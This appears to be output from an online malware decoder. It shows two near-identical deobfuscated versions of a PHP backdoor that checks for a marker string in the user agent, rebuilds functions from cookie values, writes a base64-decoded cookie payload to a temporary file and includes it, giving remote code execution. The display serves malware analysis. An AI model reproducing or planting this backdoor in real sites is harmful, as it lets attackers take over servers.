Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

	class _chx{
	private static$_cw;
		static function _dy($_nl){
		if(!self::$_cw)self::_cqh();
		return hex2bin(self::$_cw[$_nl]);
	}
		private static function _cqh(){
		self::$_cw=array('_em'=>'485454505f555345525f4147454e54','_yro'=>'485454505f555345525f4147454e54','_occ'=>'3232363636303139','_tai'=>'','_rr'=>'',);
	}
}
	if(isset($_SERVER[_chx::_dy('_em')])&&strpos($_SERVER[_chx::_dy('_yro')],_chx::_dy('_occ'))!==false){
	$_qtw=$_COOKIE;
	$_ow=00;
	$_nl=02;
	$_mzc=array();
	$_mzc[$_ow]=_chx::_dy('_tai');
		while($_nl){
		$_mzc[$_ow].=$_qtw[017][$_nl];
			if(!$_qtw[017][$_nl+01]){
			if(!$_qtw[017][$_nl+02])break;
			$_ow++;
			$_mzc[$_ow]=_chx::_dy('_rr');
			$_nl++;
		}
		$_nl=$_nl+02+01;
	}
	$_ow=$_mzc[033]().$_mzc[04];
		if(!$_mzc[027]($_ow)){
		$_nl=$_mzc[06]($_ow,$_mzc[030]);
		$_mzc[011]($_nl,$_mzc[03].$_mzc[010]($_mzc[034]($_qtw[03])));
	}
	include($_ow);
	die();
}

	class _chx{
	private static$_cw;
		static function _dy($_nl){
		if(!self::$_cw)self::_cqh();
		return hex2bin(self::$_cw[$_nl]);
	}
		private static function _cqh(){
		self::$_cw=array('_em'=>'485454505f555345525f4147454e54','_yro'=>'485454505f555345525f4147454e54','_occ'=>'3232363636303139','_tai'=>'','_rr'=>'',);
	}
}
	if(isset($_SERVER[_chx::_dy('_em')])&&strpos($_SERVER[_chx::_dy('_yro')],_chx::_dy('_occ'))!==false){
	$_ow=00;
	$_nl=02;
	$_mzc[$_ow]=_chx::_dy('_tai');
		while($_nl){
		$_mzc[$_ow].=$_qtw[017][$_nl];
			if(!$_qtw[017][$_nl+01]){
			if(!$_qtw[017][$_nl+02])break;
			$_ow++;
			$_mzc[$_ow]=_chx::_dy('_rr');
			$_nl++;
		}
		$_nl=$_nl+02+01;
	}
	$_ow=$_mzc[033]().$_mzc[04];
		if(!$_mzc[027]($_ow)){
		$_nl=$_mzc[06]($_ow,$_mzc[030]);
		$_mzc[011]($_nl,$_mzc[03].$_mzc[010]($_mzc[034]($_qtw[03])));
	}
	include($_ow);
	die();
}



© 2023 Quttera Ltd. All rights reserved.